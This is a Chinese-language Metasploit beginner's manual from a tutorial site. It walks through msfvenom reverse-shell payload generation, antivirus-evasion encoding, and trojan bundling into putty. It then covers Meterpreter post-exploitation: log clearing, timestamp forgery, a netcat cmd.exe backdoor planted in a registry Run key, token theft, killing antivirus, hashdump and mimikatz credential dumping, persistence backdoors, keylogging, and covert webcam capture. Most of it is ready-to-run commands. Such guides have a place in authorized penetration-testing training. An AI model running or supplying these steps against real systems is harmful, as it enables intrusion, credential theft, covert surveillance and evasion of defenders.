当前位置: 首页 > 工具软件 > Metasploit > 使用案例 >

Metasploit入门使用手册

蓬弘
2023-12-01

Metasploit基础

Metasploit使用的数据库是posetpresql,在msf5之前启动的话需要安装数据库格式化数据库,设置用户和密码去进行连接,而在msf5之后不需要在这样操作,只需在kali的命令行中使用msfdb init就可以初始化并开启msf的数据库,然后在输入msfconsole就可以启动msf,进入之后我们可以使用db_status来进行查看连接数据库的状态。除此在外我们还可以使用kage实现界面话。

1.msf目录结构

在kali当中默认安装,文件路径是在/usr/share/metasploit-framework/中,在该目录下有以下几个比较重要的文件夹:

data:目录当中是msf当中一些可编辑的文件,如字典

documentation:文档目录是对工具的介绍

external:源代码和第三方库

lib:(静态链接库)目录:里边是msf的代码

modules:模块目录装,有msf当中的exp,payload等内容

plugins:可加载的插件

scripts:meterpreter和其它脚本

tools:各种命令行工具

其中modules模块包含有msf的核心文件

auxiliary #漏洞辅助模块一般是没有攻击载荷的漏洞攻击

encoders  #码器模块

evasion   #简单的反杀模块

exploits  #渗透攻击模块

nops      #空指令模块

payloads  #漏洞负载模块

2. msf的使用

2.1 msf基础使用命令:

show 模块名:进行罗列模块

search 模块关键字:搜索关键字(一般都是我们查找某个漏洞的exp时会使用search进行搜索关键词)

出现的开头为Auxiliary的模块为扫描模块,exploit为执行任务模块

use 模块名:使用该模块

back:返回上一级

info:在使用模块之后可以使用info来查看模块信息,查看的话主要查看这一部分

show options(显示的是info当中的一部分):查看模块配置 去设置回显当中required的配置

set:使用set命令来设置required当中需要配置的信息

设置之后我们在使用show options之后我们可以看到rhosts已经变成了我们设置后的值

exploit:来执行

jobs:查看后台工作

kill 工作ID号:杀死进程

2.2 msf扫描脚本

在下方目录下是扫描脚本

/usr/share/metasploit-framework/modules/auxiliary/scanner/

use auxiliary/scanner/discovery/arp_sweep     利用arp协议进行发现主机

use auxiliary/scanner/discovery/udp_sweep     可以回显我们存活主机的计算机名,用户

use auxiliary/scanner/portscan/tcp                     端口扫描模块

use auxiliary/scanner/http/dir_scanner

use auxiliary/scanner/http/jboss_vulnscan

use auxiliary/scanner/mssql/mssql_login

use auxiliary/scanner/mysql/mysql_version

use auxiliary/scanner/oracle/oracle_login

3. msfvenom

msfvenom是msfpayload和msfencode的组合,它用于生成有效载荷(payload)并进行编码

在kali当中直接输入msfvenom就可以直接运行msfvenom

参考:https://www.cyberpratibha.com/blog/msfvenom-replacement-of-msfpayload-and-msfencode-full-guide/

3.1 msfvenom使用:

1、msfvenom常用参数及说明

MsfVenom - 是msf独立有效载荷生成器,也是msfpayload和msfencode的替代品
用法: msfvenom [options] <var=val>
示例: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

常用可用参数:
    -l, --list          列出所有模块,可指定payload,encoders, nops, platforms, archs, encrypt, formats  示例:msfvenom -l payload
   
    -p, --payload       指定payload
        --list-options  查看指定的payload支持什么平台、有哪些选项可以设置
        				msfvenom -p windows/meterpreter/reverse_tcp --list-options
    -f, --format        指定输出payload的格式,示例 -f exe 
    -e, --encoder       指定要使用的编码器,示例:-e sx86/shikata_ga_nai
    -o, --out           将生成的有效载荷保存到指定文件中
    -b, --bad-chars     要避免的坏字符 示例:-b '\x00\xff' 
    -n, --nopsled       将指定大小的nopled添加到有效载荷上
    -s, --space         指定产生有效载荷的最大值,就是生成的文件大小
    -i, --iterations    指定对有效载荷的编码次数,一般不要超过20
    -c, --add-code      指定一个附加的win32 shellcode文件
    -a, <x64/x86>                指定架构,一般需要先使用-platform检查msf中的可用平台
    -x                  指定一个文件,将pauload添加进去【用于木马捆绑】,示例:-x puttyel.exe
    -k          该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上
    -platform           查看msf中的可用平台  示例:msfvenom -l platforms
    -h, --help          帮助信息

payload有两种类型:bind类型(正向)和reverse类型(反向)

bind类型:即正向连接,一般使用在目标机器处于内网当中,不能直接连通外网,也不能通过其他机器进行连接,此时就需要目标机器通过正向的payload打开一个端口,让攻击者去连接目标机器打开的这个端口,从而建立通信。

reverse类型:即反向连接,指的是攻击者的机器上打开了一个端口,在目标机器上运行反向payload来连接攻击机的端口,从而用于连接,常用于边线服务器的上线。【大多数情况下用tcp协议的payload】

2、msfvenom构造payload【基本使用】

windows下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.132【kali地址】 LPORT=4444   -f exe >1.exe

linux下:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.132 LPORT=4444 -f elf>1.elf

在生成payload之后我们在msf当中使用时一般注重一下的步骤:

use exploit/multi/handler 【使用监听模块】

set payload windows/x64/meterpreter_reverse_tcp 【设置的payload必须和msfvenom当中生的payload是同一个模块】

set lhost 192.168.10.132【因为使用的是reverse模板,这里设置攻击机的ip,用于监听shell连接】

set lport 4444【因为使用的是reverse模板,这里设置攻击机的port,用于监听shell连接】

exploit -j 【-j为后台运行】

把msfvenom生成的payload上传至目标机器并运行,然后我们就可以获取一个shell,如果是后台运行,通过sessions -l 可以查看后台的shell

3、msfvenom进阶

(1)指定编码,指定编码次数

msfvenom --list encoders:查看msfvenom自带的编码器,可以看到x86/shikata_ga_nai编码器是评级为x86里面唯一excellent的,所以也是编码中使用最多的

msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=172.16.1.13 LPORT=4444 -e x86/shikata_ga_nai  -i 15 - f exe -o mazi.exe
(2)木马捆绑
msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=172.16.1.13 LPORT=4444 -e x86/shikata_ga_nai -x puttyel.exe -i 15 - f exe -o puttyel_master.exe

4.Meterprete

4.1 Meterprete基础操作:

1、基本命令

background:在进入到Meterprete中之后我们可以使用此命令返回到msf当中

sessions -l:查看所有会话信息

sessions -i 会话ID号:与指定的会话进行交互

quit / exit:关闭当前会话

idletime:查看目标服务器空闲时间

shell:进入对方的windows终端行,可以执行一些windows下的命令,如果出现乱码我们可以使用chcp 编码代表字母 命令来改变编码方式

65001 UTF-8代码页

950繁体中文

936简体中文默认的GBK

437 MS-DOS美国英语

timestomp:伪造时间信息

timestomp -v C:/phpStudy/manual.chm #查看时间戳

timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

getsystem:尝试提权方式

clearev:清除windows中的应用程序日志、系统日志、安全日志,需要system权限,清理后会有一个日志清除记录

2、文件系统命令

search: 查找执行文件 

search -f 1.txt

search -f *.exe

pwd | getwd:查看目标当前目录的位置

ls:列出目标当前目录下的文件

cd:切换目标机的执行目录

rm:删除目标机指定文件

mkdir:在目标机创建目录(只能在当前目录下创建文件夹)

rmdir:删除目标机指定目录(只能删除当前目录下的文件夹)

getlwd  | lpwd:查看本地(攻击机)的当前目录(msf的目录)

lcd:切换本地(攻击机)的执行目录

lls:列出本地(攻击机)当前目录下的文件

download 文件名:将目标文件下载到本地

upload 文件名:上传本地目录到目标主机

3、网络命令

ipconfig / ifconfig:查看网络接口信息

netstat -ano:查看端口连接信息

route:显示路由信息

netstat:查看网络连接情况

arp:查看arp信息

getproxy:查看代理信息

portfwd 端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
rdesktop 127.0.0.1:6666 #kali远程桌面使用6666端口

run autoroute 路由相关

run autoroute -s 10.0.0.0/24 添加路由

run autoroute -s 10.0.0.0 -n 255.0.0.0 -s 参数为网关 -n 参数为只掩码

run autoroute -p 查看路由

添加路由实战案例:

meterpreter > run autoroute -s 192.168.105.0 -n 255.255.255.0 #目标机的网关和掩码

msf6 > use auxiliary/server/socks_proxy #msf6使用sock5代理

msf6 auxiliary(server/socks_proxy) > set srvhost 127.0.0.1 #设置代理地址,一般设置攻击机本机

msf6 auxiliary(server/socks_proxy) > set srvport 60010 #设置一个可用的端口

#设置proxychains使用即可

vim /etc/proxychains.conf

#将最后一行改为自己添加的路由信息如
socks5 127.0.0.1 60010

内网渗透

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 #扫描整个段存活主机

run post/windows/gather/enum_computers:枚举我们域内的主机

4、系统命令

execute :在目标执行命令的功能,可使用execute -h来获取参数帮助

execute -H -i -f cmd.exe #创建新进程cmd.exe,-H不可见,-i交互 -m参数是在内存中运行

ps:列出目标进程

getuid:查看当前用户的身份

getprivs:查看当前用户的权限

getpid:查看meterpreter shell进程pid信息

migrate PID:进程迁移(隐蔽我们执行的exe进程或者是获取其他的一些权限,这里需要meterpreter shell的权限要高于等于要迁移的进程权限)

getpid #获取当前进程的pid

ps 查看系统中运行进程

migrate #将meterpreter会话迁移到指定的pid进行中

sysinfo:查看目标信息

kill:杀死目标进程

shutdown:关机

reboot:重启

4.2 后渗透模块使用

1、信息收集

如下为常用且高效的信息收集模块

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

解释:
msf > run post/windows/gather/checkvm #是否虚拟机
msf > run post/linux/gather/checkvm #是否虚拟机
msf > run post/windows/gather/forensics/enum_drives   #查看分区
msf > run post/windows/gather/enum_applications     #获取安装软件信息
msf > run post/windows/gather/dumplinks         #获取最近的文件操作
msf > run post/windows/gather/enum_ie          #获取IE缓存
msf > run post/windows/gather/enum_chrome     #获取Chrome缓存
msf > run post/windows/gather/enum_patches    #补丁信息
msf > run post/windows/gather/enum_domain    #查找域控

2、提权

getsystem

1、getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
2、getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
3、Windows服务已启动,导致与命名管道建立连接。
4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

示例:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 5      #选择当前会话
msf > run

大部分情况下直接使用getsystem是很难提权的,会提示管道内存问题、令牌问题、RPCSS变体等阻碍提权,但如果利用bypassuac返回新会话后,提权就会相对容易些

3、内核提权

可先利用enum_patches模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/....      #利用未打补丁的模块即可
msf > set SESSION 5
msf > exploit

4、远程桌面&截图

enumdesktops    #查看可用的桌面
getdesktop      #获取当前meterpreter 关联的桌面
set_desktop     #设置meterpreter关联的桌面  -h查看帮助
screenshot      #截屏
use espia       #使用espia模块截屏  然后输入screengrab
run vnc      #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了

5、开启rdp&添加用户

getgui :该指令容易添加失败(有火绒时直接失败)

run getgui -e   #开启远程桌面
run getgui -u anan -p 123@a.com   #添加用户
run getgui -f 63389 –e   #3389端口转发到63389

enable_edp :该指令在有火绒的情况下能够正常添加用户

run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123@a.com #添加用户,需要注意密码复杂度
run post/windows/manage/enable_rdp FORWARD=true LPORT=63389  #将3389端口转发到63389

6、键盘记录

keyscan_start    #开始键盘记录
keyscan_dump     #导出记录数据
keyscan_stop   #结束键盘记录

注意:导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了

7、注册表操作

注册表参数说明如下

meterpreter > reg -h
Usage: reg [command] [options]
Interact with the target machine's registry.

OPTIONS:

-d <opt>  The data to store in the registry value.#注册表中值的数据
-h        Help menu.
-k <opt>  The registry key path (E.g. HKLM\Software\Foo).#注册表键路径
-r <opt>  The remote machine name to connect to (with current process credentials#要连接的远程计算机名称(使用当前进程凭据)
-t <opt>  The registry value type (E.g. REG_SZ).#注册表值类型
-v <opt>  The registry value name (E.g. Stuff).#注册表键名称
-w        Set KEY_WOW64 flag, valid values [32|64].#设置32位注册列表还是64位

COMMANDS:

enumkey  Enumerate the supplied registry key [-k <key>]#枚举可获得的键
createkey  Create the supplied registry key  [-k <key>]#创建提供的注册表项
deletekey  Delete the supplied registry key  [-k <key>]#删除提供的注册表项
queryclass Queries the class of the supplied key [-k <key>]#查询键值数据
setval Set a registry value [-k <key> -v <val> -d <data>]#设置键值
deleteval  Delete the supplied registry value [-k <key> -v <val>]#删除提供的注册表值
queryval Queries the data contents of a value [-k <key> -v <val>]#查询值的数据内容

注册表设置nc后门

upload /root/nc64.exe C://Users//anan//Desktop   #上传nc,前面的是你要上传文件的位置
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C://Users//anan//Desktop//nc.exe -Ldp 60011 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值

nc -v 192.168.105.131 60011  #攻击者连接nc后门

8、令牌操作

incognito假冒令牌

use incognito        #进入incognito模式
help incognito      #查看帮助
list_tokens -u        #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'    #假冒SYSTEM token,或者用下面的
#impersonate_token NT\ AUTHORITY\\SYSTEM   #不加单引号 需使用\\
execute -f cmd.exe -i –t            # -t 使用假冒的token执行或者直接shell
rev2self       #返回原始token

steal_token窃取令牌

steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token  #删除窃取的token

这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限

9、关闭杀软

meterpreter> run killav *//这个脚本要小心使用,可能导致目标机器蓝屏死机*

10、hash抓取

hashdump

hashdump 模块可以从SAM数据库中导出本地用户账号,该命令的使用需要系统权限

run hashdump

smart_hashdump

smart_hashdump需要系统权限,该功能更强大,可以导出域内所有用户的hash!!

smart_hashdump还可以配合PSExec模块进行哈希攻击

run windows/gather/smart_hashdump

抓取自动登录用户的密码

run windows/gather/credentials/windows_autologin

kiwi

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

meterpreter > load  mimikatz   #如果目标是64位的系统,会报如下错误
.....
[!] Loaded x86 Kiwi on an x64 architecture 
.....

如果遇到该报错,则迁移进程到一个64位进程上即可

ps
migrate <64位进程pid>

该功能非常强大,kiwi_cmd命令是包含了mimikatz

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

获取明文密码

kiwi_cmd sekurlsa::logonpasswords

11、后门植入

metasploit自带的后门有两种方式启动的,一种是通过启动项启动persistence,一种是通过服务启动metsvc,另外还可以通过persistence_exe自定义后门文件。

persistence启动项后门

OPTIONS:

    -A   Automatically start a matching exploit/multi/handler to connect to the agent
    -h   帮助信息
    -i   每次尝试连接之间的间隔(以秒为单位)
    -L   Location in target host to write payload to, if none %TEMP% will be used.
    -p   设置Metasploit的监听端口
    -P   设置payload,默认值为windows/MeterMeter/reverse_tcp
    -r   设置metasploit的ip(攻击者的ip)
    -S   在作为服务启动时自动启动代理(具有system权限) 
    -T   Alternate executable template to use
    -U   设置为用户登录时自动启动
    -X   设置为系统启动时自动启动

run persistence –h
run persistence -X -i 5 -p 60012 -r 192.168.0.11

persistence启动项后门的缺点是容易被杀毒软件查杀!建议进行如下操作

在C:\Users\anan\AppData\Local\Temp\目录下,上传一个vbs脚本在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

metsvc服务后门

 -A  自动安装后门
 -h  帮助
 -r  卸载现有的后门(需要手动删除木马文件)

会自动在C:\Users\anan\AppData\Local\Temp…生成三个文件,并把meterpreter自动放在服务自启中

攻击机使用正向连接,并把连接端口设置为31337,进行连接即可

set payload windows/metsvc_bind_tcp   

12、操作目标机模块

run webcam:开启一个摄像头

uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标

uictl disable mouse    #禁用鼠标

uictl disable keyboard  #禁用键盘

uictl enable mouse    #开启鼠标

uictl enable keyboard  #开启键盘

webcam_list     #查看摄像头

webcam_snap     #通过摄像头拍照

webcam_stream   #通过摄像头开启视频

5. Armitage

是一个msf的图形 界面话工具但是非常的卡顿不建议使用,在命令行直接使用armitage可以直接使用.

6.msf与cs互相派生会话

6.1 cs派生会话到msf

1、msf配置
use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost xxxxxx   (本机ip)

set lport xxxx

exploit
2、cs配置

添加一个监听器,选择Foreign HTTP,设置ip为msf的监听ip,端口设置为msf监听的端口,起一个名称,如cs->msf

然后命令行(beacon)执行:spawn cs->msf #cs->msf为监听器名称

6.2 msf派生会话到cs

1、cs配置

添加一个监听器,选择Beacon HTTP,然后设置相应的监听ip和监听端口即可

2、msf配置
sessions -l    #查看当前存在的session会话

use exploit/windows/local/payload_inject

set payload windows/meterpreter/reverse_http

set lhost 192.168.10.13       # 设置cs监听的地址

set lport 60020               # 设置cs监听的端口

set session 1                 # 指定要派生的会话

exploit   #运行后,cs即可看到上线

原创不易,请勿在未授权下随意转发!

 类似资料: